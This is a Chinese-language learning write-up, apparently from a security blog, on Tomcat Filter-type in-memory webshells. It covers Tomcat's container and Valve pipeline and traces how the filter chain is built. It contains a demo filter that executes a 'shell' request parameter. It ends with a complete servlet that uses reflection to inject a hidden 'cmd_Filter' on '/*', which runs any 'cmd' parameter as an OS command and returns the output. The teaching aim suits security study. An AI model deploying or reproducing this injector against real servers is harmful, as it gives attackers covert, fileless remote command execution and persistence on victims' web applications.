Java内存马学习-Filter

Java内存马学习-Filter

  • 基础知识
    • Tomcat架构学习
    • 过滤链基础知识学习
  • 漏洞分析
    • 实验代码
    • FliterDemo-doFliter
    • ApplicationFilterChain-internalDoFilter
    • ApplicationFilterChain-doFilter
    • StandardWrapperValve-invoke
    • ApplicationFilterFactory-createFilterChain
    • StandardWrapperValve
    • StandardContextValve
    • StandardHostValve
    • StandardEngineValve
    • 知识点结合
    • filterChain后续
  • Filter内存马实现
  • 参考文章

基础知识

Tomcat架构学习

Java内存马学习-Filter_第1张图片

Server:
Server,即指的WEB服务器,一个Server包括多个Service。

Service:

Service的作用是在Connector和Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个Service可以包含多个Connector,但是只能包含一个Engine,其中Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。

Connector:

Tomcat有两个典型的Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。

Engine:

Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名当Engine获得一个请求时,它把该请求匹配到某个Host上,然后把该请求交给该Host来处理Engine有一个默认虚拟主机,当请求无法匹配到任何一个Host上的时候,将交给该默认Host来处理。

Host:

代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配
每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。

Context:

一个Context对应于一个Web Application,一个WebApplication由一个或者多个Servlet组成
Context在创建的时候将根据配置文件$CATALINA_HOME/conf/web.xml和$WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。

Connector和ProtocolHandler这里就不说了,感兴趣的自己去了解下,这里只说一说Container

Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue),BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve、StandardHostValve 、StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve,BaseValve 是不可删除的。

Java内存马学习-Filter_第2张图片
Java内存马学习-Filter_第3张图片
这两张图就很好的解释了它的流程,看到最后一张图,在wrapper-Pipline执行完成后会去创建一个FilterChain对象也就是我们的过滤链。

过滤链基础知识学习

ServletContext:
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供
了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器
在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。
并且它被所有客户端共享。 

ApplicationContext:
org.apache.catalina.core.ApplicationContext对应Tomcat容器,为了满足Servlet规
范,必须包含一个ServletContext接口的实现。
Tomcat的Context容器中都会包含一个ApplicationContext。

StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主
要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。
(Tomcat 默认的 Service 服务是 Catalina)

Java内存马学习-Filter_第4张图片

FilterDefs:存放 FilterDef 的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例
等基本信息
FilterConfigs:存放 filterConfig 的数组,在 FilterConfig 中主要存放 FilterDef 
和Filter 对象等信息
FilterMaps:存放 FilterMap 的数组,在 FilterMap 中主要存放了 FilterName 和 对
应的 URLPattern

只要我们将filter ,FilterDefs,FilterMaps添加到FilterConfigs中就可以添加filter
了

漏洞分析

实验代码

import javax.servlet.*;
import java.io.IOException;

public class FilertDemo implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("初始加完成");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("utf-8");
        servletResponse.setCharacterEncoding("utf-8");
        servletResponse.setContentType("text/html;charset=UTF-8");
        filterChain.doFilter(servletRequest,servletResponse);
        System.out.println(servletRequest.getParameter("shell"));
        Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
        System.out.println("过滤中。。。");
    }

    @Override
    public void destroy() {
        System.out.println("过滤结束");
    }
}

这是本次实验用到的分析代码,tomcat的源代码还需要自己导入
配置xml:


        enfilter
        FilertDemo
    
    
        enfilter
        /*
    

FliterDemo-doFliter

先在这下个断点
Java内存马学习-Filter_第5张图片
拿到了调用栈后我们接下来逆向分析看看怎么到这里来的

ApplicationFilterChain-internalDoFilter

Java内存马学习-Filter_第6张图片

org.apache.catalina.core.ApplicationFilterChain的internalDoFilter会从filterConfig中去获取到一个filter对象,然后会去调用filter.doFilter才会来到我们配置的FliterDemo的doFilter方法中

继续往回看

ApplicationFilterChain-doFilter

Java内存马学习-Filter_第7张图片
org.apache.catalina.core.ApplicationFilterChain的doFilter方法调用了internalDoFilter方法

继续往回看

StandardWrapperValve-invoke

Java内存马学习-Filter_第8张图片
org.apache.catalina.core.StandardWrapperValve的invoke方法会调用org.apache.catalina.core.ApplicationFilterChain的doFilter方法

但在invoke方法里是filterChain.doFilter,那么我们需要看看filterChain是如何获取到的
Java内存马学习-Filter_第9张图片
这里使用ApplicationFilterFactory.createFilterChain创建了一个过滤链,传入request, wrapper, servlet作为参数。

下面我们跟进ApplicationFilterFactory.createFilterChain看看

ApplicationFilterFactory-createFilterChain

Java内存马学习-Filter_第10张图片
这里则会调用context.findFilterMaps()从StandardContext寻找并且返回一个FilterMap数组。
Java内存马学习-Filter_第11张图片
前面的前置知识我们也说过了,FilterDef 中存储着我们过滤器名,过滤器实例。因此我们不难看出,enfilter就是我们创建的FilterDemo,至于第一个过滤器是tomcat自带的过滤器
Java内存马学习-Filter_第12张图片
FilterConfigs也有了过滤器名和它对应的url

继续往下看
Java内存马学习-Filter_第13张图片
遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中

我们看到上面的值其实都是通过context得到的,而且通过下图我们可以看到,context是StandardContext类的
在这里插入图片描述

我们继续回溯看看

StandardWrapperValve

Java内存马学习-Filter_第14张图片
在这里插入图片描述

StandardContextValve

Java内存马学习-Filter_第15张图片
Java内存马学习-Filter_第16张图片

StandardHostValve

Java内存马学习-Filter_第17张图片
通过这我们不难看出这里是最早产生context的地方
Java内存马学习-Filter_第18张图片

StandardEngineValve

Java内存马学习-Filter_第19张图片
Java内存马学习-Filter_第20张图片

知识点结合

回溯到这里就可以了,上面的这些流程其实就是我们前置知识里面的知识点

StandardEngineValve->StandardHostValve->StandardContextValve->StandardWrapperValve就是下面这张图的流程
Java内存马学习-Filter_第21张图片
做完这些后,在ApplicationFilterFactory-createFilterChain里就用了前面这几步产生的context里的filterConfig构造了filterChain
Java内存马学习-Filter_第22张图片

filterChain后续

StandardWrapperValve中产生filterChain后,就执行了doFilter
Java内存马学习-Filter_第23张图片
doFilter之后会快速跟进internalDoFilter
Java内存马学习-Filter_第24张图片
internalDoFilter会遍历所有要添加的Filter,然后执行他们的doFilter方法,因此这里我们就回到了我们构造的恶意的FilterDemo
Java内存马学习-Filter_第25张图片
在这里插入图片描述
之后会继续添加剩余的Filter
Java内存马学习-Filter_第26张图片
在这里插入图片描述

Java内存马学习-Filter_第27张图片
最后启动程序

Filter内存马实现

综合前置知识以及前面的分析,下面给出内存马的代码,这里直接搬运了参考文章里的

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class demoServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


//        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
//        org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
//        org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
        Field Configs = null;
        Map filterConfigs;
        try {
            //这里是反射获取ApplicationContext的context,也就是standardContext
            ServletContext servletContext = request.getSession().getServletContext();

            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



            String FilterName = "cmd_Filter";
            Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            filterConfigs = (Map) Configs.get(standardContext);

            if (filterConfigs.get(FilterName) == null){
                Filter filter = new Filter() {

                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {

                    }

                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null){

                            InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
                            Scanner s = new Scanner(in).useDelimiter("\\A");
                            String output = s.hasNext() ? s.next() : "";
                            servletResponse.getWriter().write(output);

                            return;
                        }
                        filterChain.doFilter(servletRequest,servletResponse);
                    }

                    @Override
                    public void destroy() {

                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);

                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterConfigs.put(FilterName,filterConfig);
                response.getWriter().write("Success");


            }
        } catch (Exception e) {
            e.printStackTrace();
        }




    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        this.doPost(request, response);
    }
}

访问一次该servlet后就可以把filter添加进去了

参考文章

https://xz.aliyun.com/t/10888
https://www.cnblogs.com/nice0e3/p/14622879.html#0x01-tomcat%E6%9E%B6%E6%9E%84%E5%88%86%E6%9E%90

你可能感兴趣的:(Java,基础知识,java,学习,tomcat)